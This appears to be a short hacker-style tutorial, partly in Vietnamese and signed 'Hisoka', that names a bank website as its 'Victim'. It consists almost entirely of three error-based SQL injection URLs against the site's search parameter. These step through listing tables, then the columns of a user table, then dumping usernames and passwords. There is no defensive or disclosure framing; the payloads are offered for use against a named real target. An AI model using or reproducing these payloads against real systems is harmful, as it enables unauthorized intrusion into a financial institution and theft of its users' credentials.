Tutorial : Error Based
Victim : ncb-bank.vn
Name : Hisoka
http://ncb-bank.vn/tim-kiem.html
?k="'+and+(select+1+FROM+(select+count(*),concat((select(select+concat(cast(table_name+as+char),0x7e))+FROM+information_schema.tables+where+table_schema=database()+LIMIT+0,1),floor(rand(0)*2))x+FROM+information_schema.tables+GROUP+BY+x)a)%23
Khai thác Column :
http://ncb-bank.vn/tim-kiem.html?k="'+and+(select+1+FROM+(select+count(*),concat((select(select+concat(cast(column_name+as+char),0x7e))+FROM+information_schema.columns+WHERE+table_schema=database()+AND+table_name=0x6e61766962616e6b5f5f75736572+limit+0,1),floor(rand(0)*2))x+FROM+information_schema.tables+GROUP+BY+x)a)%23
Khai thác Data Column
http://ncb-bank.vn/tim-kiem.html?k="'+and+(select+1+from(+select+count(*), concat(CHAR (124), (select+substr(group_concat(username,0x207c20,password),1,145)+FROM+navibank__user) ,floor(rAnd(0)*2), CHAR (124))x+FROM+information_schema.tables+GROUP+BY+x)a)%23